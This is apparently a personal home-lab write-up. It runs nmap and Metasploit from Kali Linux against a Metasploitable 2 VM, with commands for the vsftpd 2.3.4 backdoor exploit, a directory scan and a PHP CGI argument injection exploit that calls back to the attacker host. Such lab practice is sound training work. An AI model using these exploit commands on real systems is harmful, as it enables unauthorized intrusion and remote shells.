Metasploit Cybersecurity Home Lab

Description

In this lab, I set up and configured Metasploit to exploit vulnerabilities in a virtual environment using VirtualBox and Kali Linux. This setup simulates various attack vectors

Environments Used

• Host Operating System: Windows 11
• Virtual Machines:
  • Metasploitable 2
  • Kali Linux

Lab Walk-through

Setting Up the Environment

1. Downloading Metasploitable 2: Obtain the Metasploitable 2 virtual machine.
2. Setting Up Virtual Machines: Import the Metasploitable 2 virtual machine into VirtualBox.

Configuring VirtualBox VM

Once imported, configure the network settings of both Kali Linux and Metasploitable 2 to be on the same internal network, ensuring they can communicate with each other.

Nmap Scanning

I used Nmap to scan the target machine (Metasploitable 2) for open ports and services. This helps in identifying potential vulnerabilities that can be exploited.

sudo nmap -sV -O 10.0.2.4

Launching Metasploit on Kali Linux

1. Starting Metasploit Console:

msfconsole

Exploiting Vulnerabilities

1. Using vsftpd 2.3.4 Backdoor:

use exploit/unix/ftp/vsftpd_234_backdoor
set RHOSTS 10.0.2.4
exploit

2. Directory Scanning and PHP CGI Argument Injection:

use auxiliary/scanner/http/dir_scanner
set RHOSTS 10.0.2.4
exploit

use exploit/multi/http/php_cgi_arg_injection
set RHOSTS 10.0.2.4
set LHOST 10.0.2.5
exploit